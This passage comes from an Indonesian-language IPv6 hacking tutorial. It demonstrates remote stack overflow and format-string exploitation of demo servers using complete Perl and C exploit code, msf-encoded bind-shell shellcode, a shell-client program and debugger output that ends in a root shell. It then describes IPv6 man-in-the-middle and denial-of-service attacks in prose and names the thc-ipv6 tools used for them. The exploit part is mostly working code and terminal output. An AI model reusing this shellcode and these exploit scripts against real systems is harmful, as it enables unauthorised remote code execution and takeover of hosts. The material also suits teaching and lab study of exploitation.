#118 bytes shellcode bind execve on port 4444#encoded with x86/shikata_ga_nai msfmy $shellcode ="\x33\xc9\xb1\x17\xdb\xdf\xd9\x74\x24\xf4\xbb\xeb\xfe\xc9" ."\xcd\x5a\x31\x5a\x16\x03\x5a\x16\x83\xc2\x04\xe2\x1e\xcf" ."\x12\x9e\xa3\x63\xcf\x2b\xaa\x65\x65\x4a\xf4\xa8\xfa\x04" ."\x9d\x61\xa9\x7a\xcf\xd7\x1f\x1d\x87\xc6\xc3\x87\x3f\xe3" ."\xfb\xce\x5e\x99\xe7\x81\xf6\xd7\xf9\x61\x9c\x81\xa1\xa8" ."\xe0\xfe\x34\x80\xe4\x33\x38\xb4\xb6\x9d\xb0\xd8\x75\x92" ."\xa5\xd7\xf9\x41\x70\x82\xc6\x3d\x4e\xd2\x71\xc7\xa8\xbb" ."\xae\x18\x3a\x54\xd8\x49\xde\xcd\x76\x1f\xfd\x5e\xd5\x96" ."\xe3\xef\xd2\x65\x63\x05";
#NOP 86 bytesmy $nop = "\x90"x86;
![Page 28: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/28.jpg)
my $eip = "\x41\x41\x41\x41";
my $s = IO::Socket::INET6->new(PeerAddr => $ARGV[0], PeerPort => int($ARGV[1]), Domain => AF_INET6, Timeout => 5);
my $buffer = $nop . $shellcode . $eip;print $s $nop.$shellcode.$eip;print "Check your shell at " . $ARGV[0] . " on port 4444\n";close($s);
PCATTCK
attack~> perl rexploit-demo6.pl 2010:5c0:1441:a0a:8891:afaf:7660:5401 55555Check your shell at 2010:5c0:1441:a0a:8891:afaf:7660:5401 on port 4444attack~>
PCSERV
(gdb) rThe program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /home/anto/k-elektronik/code/exploit/server-demo6MSG = 3ɱÛÙ$ôÉZ1ZZÂ�cϪeeJô¨àä´¶
Program received signal SIGSEGV, Segmentation fault.0x41414141 in ?? ()(gdb) i reax 0x0 0ecx 0x0 0edx 0xb7fd10d0 -1208151856ebx 0xb7fcfff4 -1208156172esp 0xbffff7b0 0xbffff7b0ebp 0x56365d2 0x56365d2esi 0x8048830 134514736edi 0x8048580 134514048eip 0x41414141 0x41414141eflags 0x10292 [ AF SF IF RF ]cs 0x73 115ss 0x7b 123ds 0x7b 123es 0x7b 123fs 0x0 0gs 0x33 51(gdb) x/200xb $esp0xbffff7b0: 0x48 0x2d 0xfe 0xb7 0x00 0xf7 0xff 0xbf0xbffff7b8: 0x00 0x04 0x00 0x00 0x00 0x00 0x00 0x000xbffff7c0: 0x5c 0xfa 0xff 0xbf 0xf0 0xf7 0xff 0xbf0xbffff7c8: 0xd8 0x2a 0xe8 0xb7 0x10 0x69 0x69 0x0d0xbffff7d0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xbffff7d8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xbffff7e0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xbffff7e8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xbffff7f0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xbffff7f8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xbffff800: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xbffff808: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xbffff810: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x900xbffff818: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
![Page 29: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/29.jpg)
0xbffff820: 0x90 0x90 0x90 0x90 0x90 0x90 0x33 0xc90xbffff828: 0xb1 0x17 0xdb 0xdf 0xd9 0x74 0x24 0xf40xbffff830: 0xbb 0xeb 0xfe 0xc9 0xcd 0x5a 0x31 0x5a0xbffff838: 0x16 0x03 0x5a 0x16 0x83 0xc2 0x04 0xe20xbffff840: 0x1e 0xcf 0x12 0x9e 0xa3 0x63 0xcf 0x2b0xbffff848: 0xaa 0x65 0x65 0x4a 0xf4 0xa8 0xfa 0x040xbffff850: 0x9d 0x61 0xa9 0x7a 0xcf 0xd7 0x1f 0x1d0xbffff858: 0x87 0xc6 0xc3 0x87 0x3f 0xe3 0xfb 0xce0xbffff860: 0x5e 0x99 0xe7 0x81 0xf6 0xd7 0xf9 0x610xbffff868: 0x9c 0x81 0xa1 0xa8 0xe0 0xfe 0x34 0x800xbffff870: 0xe4 0x33 0x38 0xb4 0xb6 0x9d 0xb0 0xd8(gdb)
Dengan menggunakan dummy exploit di atas bisa kita lihat bahwa registerEIP teroverwrite oleh '\x41\x41\x41\x41'. Alamat register ESP yang bisadieksploitasi adalah alamat yang berisi NOP misalnya adalah 0xbffff7e0.Jika alamat tersebut ditulis dalam little endian maka menjadi'\xe0\xf7\xff\xbf'. Alamat ini kemudian digunakan dalam dummy exploituntuk menggantikan nilai '$eip' sehingga menjadi
$eip = '\xe0\xf7\xff\xbf';
Kirimkan ulang dummy exploit tersebut dari PCATTCK ke PCSERV.
PCATTCK
attack~> perl rexploit-demo6-2.pl 2010:5c0:1441:a0a:8891:afaf:7660:5401 55555Check your shell at 2010:5c0:1441:a0a:8891:afaf:7660:5401 on port 4444attack~>
PCSERV
(gdb) rThe program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /home/anto/k-elektronik/code/exploit/server-demo6MSG = 3ɱÛÙ$ôÉZ1ZZÂ�cϪeeJô¨àä´¶
Server IPv6 Demo kali ini tidak mengalami crash, dari PCATTCK lakukanpengecekan shell di port 4444 PCSERV dengan menggunakan 'getshell6.c'yang bisa diperoleh dari ipv6-hackit/C/getshell6.c
#include <stdlib.h>#include <string.h>#include <stdio.h>#include <sys/socket.h>#include <netinet/in.h>#include <sys/types.h>#include <netdb.h>#include <fcntl.h>
/*getshell6.c is provided by Ph03n1XThis code is ripped and modified from Joonbok LeePresentation about IPv6 Socket Programming*/
int main(int argc, char *argv[]){
![Page 30: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/30.jpg)
fd_set fd_read; char buff[2048]; int n, s, c, retval, addrlen; struct addrinfo Hints, *AddrInfo, *AI;
if(argc!=3){ printf("Usage : %s <IPv6 address> <Port>\n", argv[0]); exit(0); }
if(strstr(argv[1],":")==NULL){ printf("ERR : You dont enter valid IPv6 address!\n"); exit(0); }
memset(&Hints,0,sizeof(Hints)); Hints.ai_family = AF_UNSPEC; Hints.ai_socktype = SOCK_STREAM;
retval = getaddrinfo(argv[1],argv[2], &Hints, &AddrInfo); if(retval!=0){ printf("Cannot resolve requested address\n"); exit(0); }
for(AI=AddrInfo;AI!=NULL;AI=AI->ai_next){ if(AI->ai_family==AF_INET6){ if((s=socket(AI->ai_family,AI->ai_socktype,AI->ai_protocol))<0){ printf("can't create socket\n"); exit(0); } c=connect(s,AI->ai_addr,AI->ai_addrlen); }else{ printf("%s is not IPv6 family\n",argv[1]); } freeaddrinfo(AddrInfo); }
FD_ZERO(&fd_read); FD_SET(s, &fd_read); FD_SET(0, &fd_read);
while(1) { FD_SET(s,&fd_read); FD_SET(0,&fd_read);
if (select(FD_SETSIZE, &fd_read, NULL, NULL, NULL) < 0 ) break;
if (FD_ISSET(s, &fd_read)) { if((n = recv(s, buff, sizeof(buff), 0)) < 0){ fprintf(stderr, "EOF\n"); exit(2); } if (write(1, buff, n) < 0) break; }
if (FD_ISSET(0, &fd_read)) { if((n = read(0, buff, sizeof(buff))) < 0){ fprintf(stderr, "EOF\n"); exit(2);
![Page 31: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/31.jpg)
} if (send(s, buff, n, 0) < 0) break; }
usleep(10); } fprintf(stderr, "Connection lost.\n\n"); exit(0);}
attack~> gcc -o getshell6 getshell6.cattack~> ./getshell6 2010:5c0:1441:a0a:8891:afaf:7660:5401 4444iduid=1001(anto) gid=1001(anto) groups=119(admin),1001(anto)pwd/home/anto/k-elektronik/code/exploituname -aLinux inetgw-2 2.6.27-7-generic #1 SMP Fri Oct 24 06:42:44 UTC 2008 i686GNU/Linux#OWNED
Yeah! PCSERV berhasil dikuasai dengan memanfaatkan IPv6 based remoteexploit dan shellcode bind execve. Tidak ada perbedaan yang mendasaruntuk mengeksploitasi stack based buffer overflow di IPv6 dan di IPv4.Exploitasi hanya membutuhkan porting socket dan shellcode saja.
--[7.2]-- Exploitasi Format String
Exploitasi format string merupakan teknik exploitasi terhadap program yangsalah dalam mengimplementasikan fungsi-fungsi format string. Teknik inibisa digunakan untuk membuat crash aplikasi yang vulnerable atau bahkanuntuk mengeksekusi semabarang kode layaknya buffer overflow. Beberapafungsi format string adalah printf(), sprintf(), snprintf(), danfprintf(). Penggunaan fungsi ini secara benar bisa dibaca pada fileheader stdio.h.
Tulisan ini hendak membahas bagaimana melakukan exploitasi format stringsecara remote pada aplikasi yang berjalan di IPv6 tetapi dengan asumsibahwa stack smashing protection dan randomized virtual address didisable.Selanjutnya untuk mengilustrasikan bagaimana proses exploitasi formatstring, saya menggunakan contoh program vulnerable berikut:
/* fmtserv6.c */#include <sys/types.h>#include <sys/socket.h>#include <netinet/in.h>#include <stdio.h>#include <netdb.h>#include <string.h>#include <stdlib.h>
#define PORT "55555"#define BUFFSZ 1024#define READSZ 2048
int main(int argc, char *argv[]){ struct sockaddr_in6 from; struct addrinfo req, *ans;
![Page 32: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/32.jpg)
int code, s, s2, len, retval; char buff[1024];
memset(&req, 0, sizeof(req)); req.ai_flags = AI_PASSIVE; req.ai_family = AF_INET6; req.ai_socktype = SOCK_STREAM; req.ai_protocol = 0;
retval = getaddrinfo(NULL,PORT,&req,&ans); if(retval!=0){ printf("ERROR!getaddrinfo\n"); exit(1); } s = socket(ans->ai_family, ans->ai_socktype, ans->ai_protocol); if(s<0){ printf("ERROR!socket\n"); exit(1); } if (bind(s, ans->ai_addr, ans->ai_addrlen) < 0){ printf("ERROR!bind\n"); exit(1); } listen(s,5); while(1){ s2,len = sizeof(from); s2 = accept(s, (struct sockaddr *) &from, &len); if(s2<0){ continue; } if(vulnerable(s2) == -1){ printf("Error: vulnerable()\n"); close(s2); } } freeaddrinfo(ans); exit(0);}
int vulnerable(int sock){ char buffer[BUFFSZ], readbuf[READSZ];
memset(buffer, 0, BUFFSZ); memset(readbuf, 0, READSZ); read(sock, readbuf, READSZ, 0); snprintf(buffer, BUFFSZ-1, readbuf); // format string vulnerability here send(sock, buffer, BUFFSZ, 0); close(sock);}
Kode di atas saya ambil dari tulisan di milw0rm [xvii] oleh Jeremy Brownkemudian saya porting supaya bekerja pada IPv6. Coba perhatikan fungsisnprintf() pada fungsi vulnerable(), mengacu pada file stdio.h fungsisnprintf() adalah:
extern int snprintf (char *__restrict __s, size_t __maxlen, __const char *__restrict __format, ...) __THROW __attribute__ ((__format__ (__printf__, 3, 4)));
![Page 33: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/33.jpg)
Argumen ke-3 dari fungsi snprintf() didefinisikan sebagai const chartetapi pada fungsi vulnerable() argumen ke-3 fungsi snprintf() adalahvariable readbuff. Celakanya variable readbuff bisa dikontrol oleh usersehingga jika dieksploitasi memungkinkan untuk mengeksekusi sembarangkode. Kompile kode diatas sebagai berikut:
pcserv~> gcc -fno-stack-protector -o fmtserv6 fmtserv6.c
Program 'fmtserv6' saya jalankan pada PCSERV yang memiliki alamat IPv62010:5c0:1441:a0a:8891:afaf:7660:5401/64. Sedangkan proses exploitasidari alamat IPv6 2010:5c0:1441:a0a:8891:afaf:7660:5402/64 yangselanjutnya saya sebut dengan PCATTCK.
Untuk mengeksploitasi format string secara remote temukan Global OffsetTable (GOT) address untuk fungsi snprintf() pada program fmtserv6 yangvulnerable.
PCSERV
pcserv~> objdump -R fmtserv6
fmtserv6: file format elf32-i386
DYNAMIC RELOCATION RECORDSOFFSET TYPE VALUE08049ff0 R_386_GLOB_DAT __gmon_start__0804a000 R_386_JUMP_SLOT __gmon_start__0804a004 R_386_JUMP_SLOT listen0804a008 R_386_JUMP_SLOT memset0804a00c R_386_JUMP_SLOT __libc_start_main0804a010 R_386_JUMP_SLOT read0804a014 R_386_JUMP_SLOT accept0804a018 R_386_JUMP_SLOT socket0804a01c R_386_JUMP_SLOT getaddrinfo0804a020 R_386_JUMP_SLOT bind0804a024 R_386_JUMP_SLOT close0804a028 R_386_JUMP_SLOT send0804a02c R_386_JUMP_SLOT puts0804a030 R_386_JUMP_SLOT snprintf0804a034 R_386_JUMP_SLOT exit
pcserv~> ifconfig eth0|grep inet6 inet6 addr: fe80::201:6cff:fe9e:e6ab/64 Scope:Link inet6 addr: 2010:5c0:1441:a0a:8891:afaf:7660:5401/64 Scope:Globalpcserv~> gdb -q ./fmtserv6(gdb) rStarting program: /home/anto/k-elektronik/code/test/fmtserv6
GOT address untuk fungsi snprintf() adalah 0x0804a030. Selanjutnyadengan bantuan 'gdb' saya menjalankan 'fmtserv6' dan melakukandebugging. Sebelum melakukan exploitasi lebih jauh, saya melakukanguessing untuk menentukan offset program tersebut dari PCATTCK.
PCATTCK
attack~> ifconfig eth0|grep inet6 inet6 addr: fe80::200:1cff:fedc:fb66/64 Scope:Link inet6 addr: 2010:5c0:1441:a0a:8891:afaf:7660:5402/64 Scope:Globalattack~> nc6 2010:5c0:1441:a0a:8891:afaf:7660:5401 55555
![Page 34: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/34.jpg)
AAAA%p%p%p%p%p%p%p%p%p%pAAAA(nil)(nil)(nil)0x414141410x702570250x702570250x702570250x702570250x702570250xaattack~> nc6 2010:5c0:1441:a0a:8891:afaf:7660:5401 55555AAAA%4$xAAAA41414141
Dari percobaan guessing saya memperoleh offset fmtserv6 adalah 4. Sayamenggunakan shellcode binding port yang digunakan pada exploitasi stackbased buffer overflow untuk mengambil alih kontrol program 'fmtserv6' danmengeksekusi '/bin/sh'. Semua sudah disiapkan, tetapi kita belum tahualamat register ESP yang bisa dieksploitasi agar shellcode di eksekusioleh register EIP. Untuk itu saya menggunakan dummy exploit padareferensi [xvii] dan diporting agar bekerja pada IPv6 sebagai berikut:
#include <stdio.h>#include <netdb.h>#include <netinet/in.h>#include <sys/socket.h>
#define GOTADDR 0x0804a030 //snprintf() --> objdump -R fmtserv#define RETADDR 0x41414141 // return address to hit nop slide +shellcode
#define OFFSET 4#define SIZE 1024
char shellcode[] = /*Portbind @ 4444*/"\x33\xc9\xb1\x17\xdb\xdf\xd9\x74\x24\xf4\xbb\xeb\xfe\xc9""\xcd\x5a\x31\x5a\x16\x03\x5a\x16\x83\xc2\x04\xe2\x1e\xcf""\x12\x9e\xa3\x63\xcf\x2b\xaa\x65\x65\x4a\xf4\xa8\xfa\x04""\x9d\x61\xa9\x7a\xcf\xd7\x1f\x1d\x87\xc6\xc3\x87\x3f\xe3""\xfb\xce\x5e\x99\xe7\x81\xf6\xd7\xf9\x61\x9c\x81\xa1\xa8""\xe0\xfe\x34\x80\xe4\x33\x38\xb4\xb6\x9d\xb0\xd8\x75\x92""\xa5\xd7\xf9\x41\x70\x82\xc6\x3d\x4e\xd2\x71\xc7\xa8\xbb""\xae\x18\x3a\x54\xd8\x49\xde\xcd\x76\x1f\xfd\x5e\xd5\x96""\xe3\xef\xd2\x65\x63\x05";
int main(int argc, char *argv[]){
if(argc < 3) { printf("Usage: %s host port\n", argv[0]); return 0; }
char buffer[SIZE], *host = argv[1], *got[3] = {((char *)GOTADDR + 2),((char *)GOTADDR),}; int i, high, low, len; int n, s, c, retval, addrlen; struct addrinfo Hints, *AddrInfo, *AI;
high = (RETADDR & 0xffff0000) >> 16; low = (RETADDR & 0x0000ffff);
high -= 0x8;
sprintf(buffer, "%s%%.%dx%%%d$hn%%.%dx%%%d$hn", &got, high, OFFSET,(low - high) - 0x8, OFFSET + 1); memset(buffer + strlen(buffer), '\x90', 512);
![Page 35: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/35.jpg)
sprintf(buffer + strlen(buffer), "%s\r\n", shellcode);
len = strlen(buffer);
memset(&Hints,0,sizeof(Hints)); Hints.ai_family = AF_UNSPEC; Hints.ai_socktype = SOCK_STREAM;
retval = getaddrinfo(argv[1],argv[2], &Hints, &AddrInfo); if(retval!=0){ printf("Cannot resolve requested address\n"); exit(0); }
for(AI=AddrInfo;AI!=NULL;AI=AI->ai_next){ if((s=socket(AI->ai_family,AI->ai_socktype,AI->ai_protocol))<0){ printf("can't create socket\n"); exit(0); } connect(s,AI->ai_addr,AI->ai_addrlen); send(s,buffer,len,0); }
for(AI=AddrInfo;AI!=NULL;AI=AI->ai_next){ if((s=socket(AI->ai_family,AI->ai_socktype,AI->ai_protocol))<0){ printf("can't create socket\n"); exit(0); } connect(s,AI->ai_addr,AI->ai_addrlen); send(s,buffer,len,0); } freeaddrinfo(AddrInfo); return 0;}
PCATTCK
attack~> gcc -o fmtex6 fmtex6.cattack~> ./fmtex6 2010:5c0:1441:a0a:8891:afaf:7660:5401 55555
PCSERV
Program received signal SIGSEGV, Segmentation fault.0x41414141 in ?? ()(gdb) i reax 0xbfffef68 -1073746072ecx 0xbfffe768 -1073748120edx 0x800 2048ebx 0xb7fccff4 -1208168460esp 0xbfffe74c 0xbfffe74cebp 0xbffff368 0xbffff368esi 0x8048850 134514768edi 0x8048550 134514000eip 0x41414141 0x41414141eflags 0x10207 [ CF PF IF RF ]cs 0x73 115ss 0x7b 123ds 0x7b 123es 0x7b 123
![Page 36: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/36.jpg)
fs 0x0 0gs 0x33 51(gdb) x/100x $esp0xbfffe74c: 0x080487ff 0xbfffef68 0x000003ff 0xbfffe7680xbfffe75c: 0x00000000 0x00000000 0x00000000 0x0804a0320xbfffe76c: 0x0804a030 0x39342e25 0x78333431 0x682434250xbfffe77c: 0x312e256e 0x33313430 0x24352578 0x90906e680xbfffe78c: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe79c: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe7ac: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe7bc: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe7cc: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe7dc: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe7ec: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe7fc: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe80c: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe81c: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe82c: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe83c: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe84c: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe85c: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe86c: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe87c: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe88c: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe89c: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe8ac: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe8bc: 0x90909090 0x90909090 0x90909090 0x909090900xbfffe8cc: 0x90909090 0x90909090 0x90909090 0x90909090(gdb)
Dengan menggunakan dummy exploit di atas bisa kita lihat bahwa registerEIP teroverwrite oleh '\x41\x41\x41\x41'. Alamat register ESP yang bisadieksploitasi adalah alamat yang berisi NOP misalnya adalah 0xbfffe8cc.Alamat ini kemudian digunakan untuk menggantikan RETADDR pada dummyexploit sehingga menjadi.
#define RETADDR 0xbfffe8cc
Kirim ulang dummy exploit tersebut dari PCATTCK ke PCSERV.
PCSERV
(gdb) rThe program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /home/anto/k-elektronik/code/test/fmtserv6
PCATTCK
attack~> gcc -o fmtex6 fmtex6.cattack~> ./fmtex6 2010:5c0:1441:a0a:8891:afaf:7660:5401 55555attack~> gcc -o getshell6 getshell6.cattack~> ./getshell6 2010:5c0:1441:a0a:8891:afaf:7660:5401 4444iduid=0(root) gid=0(root) groups=0(root)pwd/home/anto/k-elektronik/code/test/sbin/ifconfig eth0|grep inet6 inet6 addr: fe80::201:6cff:fe9e:e6ab/64 Scope:Link
![Page 37: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/37.jpg)
inet6 addr: 2010:5c0:1441:a0a:8891:afaf:7660:5401/64 Scope:Global
Yeah! PCSERV berhasil dikuasai dengan memanfaatkan IPv6 based remoteexploit dan shellcode bind execve. Tidak ada perbedaan yang mendasaruntuk mengeksploitasi celah keamanan format string di IPv6 dan di IPv4.Exploitasi hanya membutuhkan porting socket dan shellcode saja.
Sebagai catatan, pembuatan exploit dengan cara sederhana ini seringmenghasilkan exploit yang tidak reliable dan mengakibatkan crash padaaplikasi yang dieksploitasi. Tetapi sebagai bahan belajar bagaimanasebuah aplikasi diexploitasi, cara sederhana inilah yang menurut sayapaling mudah dipahami.
--[8]-- IPv6 Protocol Vulnerability
Protokol secara harfiah bisa diartikan sebagai aturan sedangkan padakomunikasi data protokol diartikan sebagai sekumpulan aturan standaryang digunakan agar proses komunikasi interoperable pada sistem yangbersifat heterogen. Pada IPv4 telah ditemukan berbagai celah keamananpada implementasi protokol tersebut misalnya celah keamanan pada ARPyang bisa digunakan untuk Man In The Middle dan celah keamanan padaimplementasi TCP yang memungkinkan TCP Session Hijacking. IPv6 dikembangkan dengan memperhatikan beragam aspek keamanan tetapi masih memungkinkan untuk diexploitasi. Exploitasi pada protokol ini digambarkan secara jelas oleh Van Hauser pada presentasinya yang bisa didownload dari website THC [xv].
Celah keamanan yang dibahas pada protokol IPv6 yang ada diartikel inimengacu seluruhnya pada presentasi tersebut dengan ditambahi penjelasanyang lebih detail. Tools yang digunakan juga bisa didownload dariwebsite THC yaitu thc-ipv6 yang release terakhirnya adalah versi 0.7.
--[8.1]-- Man In The Middle
Man In The Middle atau yang biasa dikenal dengan MITM, merupakan sebuahserangan pada tahap gaining access dengan memposisikan seorang attackerditengah-tengah komunikasi data antar dua pihak. Jenis serangan iniberguna untuk melakukan serangan lebiih lanjut. Pada IPv4, serangan MITMini bisa dilakukan dengan berbagai cara antara lain ARP cache poisoningdan DHCP spoofing. Pada IPv6 tidak dikenal ARP tetapi digantikan oleh ICMPv6 neighbor discovery sedangkan DHCP pada IPv6 digantikan oleh ICMPv6 Stateless Auto-Configuration.
--[8.1.1]-- ICMPv6 Neighbor Discovery/Solicitation
ICMPv6 berperan dalam pencarian MAC address sebuah alamat IPv6dijaringan layaknya ARP.
----------........NS : Are you B?>>........----------| Node A |---------------------------------| Node B |---------- ........<<NA : I am B...........---------- Ketika Node A ingin menghubungi Node B untuk melakukan komunikasi data,Node A mencari tahu alamat MAC Node B dengan mengirim paket ICMPv6Neighbor Solicitation (ICMP type 135/NS) ke alamat multicast address untuk semua node (ff02::1)[xvi].
![Page 38: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/38.jpg)
Node B yang menerima paket ICMPv6 NS tersebut meresponse denganmenggunakan paket ICMPv6 Neighbor Advertisment (ICMP type 136/NA) danditujukan ke alamat Node A.
Permasalahannya adalah ketika seseorang yang ada di jaringan tersebutmengirimkan paket ICMPv6 NA palsu (spoofed). Misalnya Node C mengirimkanICMPv6 NA palsu ke Node A, maka Node A tidak menghubungi Node Bmelainkan tertipu untuk menghubungi Node C.
..............----------
..............| Node C |
..............----------
............./../
............/../NS Are U B?/../ NA : I am B!........../../........./../......../../----------........NS : Are you B?>>........----------| Node A |---------------------------------| Node B |---------- ........<<NA : I am B...........----------
Setiap Node C menerima paket ICMPv6 NS multicast, node C akan menjawab bahwa dialah alamat MAC yang sedang dicari. Ketika A mencari B, maka Cjuga menerima ICMPv6 NS multicast dan segera menjawab A bahwa dia adalah B.Ketika B sedang mencari A, maka C juga menerima ICMPv6 NS multicast dansegera menjawab B bahwa dia adalah A. Demikian juga ketika C menerimaICMPv6 NS multicast dari node lain, dia akan segera mengklaim bahwadialah yang sedang dicari. Teknik ini digunakan pada'thc-ipv6/parasite6' untuk melakukan MITM.
--[8.1.2]-- ICMPv6 Stateless Auto-Configuration
ICMPv6 Stateless Auto-Configuration bekerja seperti DHCP pada IPv4. Diamemberikan alamat IPv6 secara otomatis pada setiap node. Tetapi perludiingat alamat yang diberikan adalah alamat unicast link-local (bukanunicast global).
Sebuah node IPv6 (Node A) yang belum memiliki tabel routing akanmengirimkan paket ICMPv6 Router Solicitation (ICMP type 133/RS) kealamat multicast semua router (ff02::02). Router IPv6 secara periodik mengirimkan ICMPv6 Router Advertisment (ICMP type 134/RA) ke alamat multicast semua node (ff02::1). Node yang menerima paket ini segera mengkonfigurasi tabel routing sesuai dengan prefix jaringan pada ICMPv6 RA.
----------......RS : Are you router?>>.....----------| Node A |---------------------------------| Router |----------.......<<RA : I am router .......----------............this is your network prefix
Permasalahannya adalah ketika ada node (Node C) yang mengirimkan paket ICMPv6 RA palsu (spoofed) ke semua node dan mengklaim dia adalah default router. Traffic semua node yang ada dijaringan tersebut akan dibelokkanmelalui node C.
..............----------
..............| Node C |
..............----------
............./../
![Page 39: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/39.jpg)
............/../
.........../../ RA : I am router, this is your network prefix
........../../
........./../
......../../----------.....RS : Are you router?>>......----------| Node A |---------------------------------| Router |---------- ......<<RA : I am router........----------............this is your network prefix
Node C secara periodik mengirimkan ICMPv6 Router Advertisment kesemuanode dan mengklaim bahwa dia adalah default router. Teknik ini digunakanpada 'thc-ipv6/fake_router6' untuk melakukan MITM.
--[8.2]-- Denial of Service
Denial of service (DoS) adalah jenis serangan yang bertujuan untuk mengganggu availability resource jaringan atau bahkan tidak bisa diakses sama sekali. Beberapa jenis serangan DoS yang dikenal antara lain:
--[8.2.1]-- Smurfing Attack
Smurfing attack merupakan salah satu jenis serangan bertujuan untuk membanjiri korban dengan paket sampah sehingga korban tidak bisadiakses. Jenis serangan ini termasuk kategori traffic amplification attack.Pada IPv4 smurfing attack dilakukan dengan mengirim paket data ke alamatbroadcast sebuah jaringan dengan source paket yang dipalsukan (spoofed).
Pada IPv6 tidak dikenal alamat broadcast tetapi menggunakan alamatmulticast. Draft RFC 2463 menyebutkan bahwa tidak ada respons ICMP yangdiberikan ketika pengiriman ICMP ditujukan ke alamat multicast, tetapiada beberapa pengecualian untuk IPv6. Pada jaringan lokal, smurfing bisadilakukan dengan mengirim ICMPv6 echo request ke alamat multicast untuksemua node (ff02::1) dengan source dipalsukan ke target (victim). Teknikini digunakan pada 'thc-ipv6/smurf6'.
........................................----------
........................................| Node A |---|
........................................----------...|
.......ICMPv6 Echo Request..............----------...|
....|----------------------->>>.........| Node B |--||
....|.....dst = ff02::1.................----------..|| ICMPv6 Echo Reply
....|.....src = victim..................----------..||
....|...................................| Node C |-|||
....|...................................----------.|||
....| ...|||
....| ...vvv----------......................................----------|Attacker|......................................| Victim |----------......................................----------
Pengimplementasian smurfing attack pada jaringan IPv6 global di internettergantung pada pengimplementasian header routing. So far, teknik inipernah diimplementasikan pada exploitasi linux kernel versi lama yangsaat ini sudah diperbaiki. Teknik ini digunakan pada 'thc-ipv6/rsmurf6'.
![Page 40: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/40.jpg)
--[8.2.2]-- Denial of Service via Duplicate Address Detection
Duplicate Address Detection (DAD) merupakan sebuah mekanisme untukmelakukan pengecekan apakah sebuah alamat IPv6 sudah digunakan di dalamjaringan. DAD menggunakan ICMP tipe 135 (NS) untuk melakukan pengecekan. Sebuah sistem baru (Node A) yang ingin bergabung ke jaringan IPv6 mengirimkan ICMP tipe 135 ke alamat multicast semua node (ff02::1)menanyakan apakah ada yang memiliki alamat IPv6 yang hendak dia pakai.Jika tidak ada yang merespon maka alamat IPv6 tersebut segera digunakantetapi jika ada yang merespon maka dia mencoba menggunakan IPv6 yanglain dan melakukan pengecekan DAD lagi.
Permasalahannya adalah, jika sistem baru tersebut setiap mengirimkanICMP tipe 135 selalu ada yang merespon maka dia tidak akan pernahterkoneksi ke jaringan IPv6.
.......................NS : Are you B?
.......................-------------->>------------|
....................NS : Are you A?................v----------..........-------------->>............----------| Node A |......................................|Attacker|----------..........<<--------------............----------....^...............Yes i am A.....................|....|...........<<---------------................Yes i am B
Setiap kali ICMP tipe 135 (NS) dikirim ke semua node, attacker selalumerespon paket tersebut sehingga Node A tidak pernah mendapatkan alamatIPv6. Teknik ini digunakan pada 'thc-ipv6/dos-new-ipv6'.
--[8.3]-- Other Attack
Empat macam serangan pada implementasi IPv6 di atas adalah beberapacontoh exploitasi memanfaatkan kelemahan pada protokol. Jenis seranganlain :
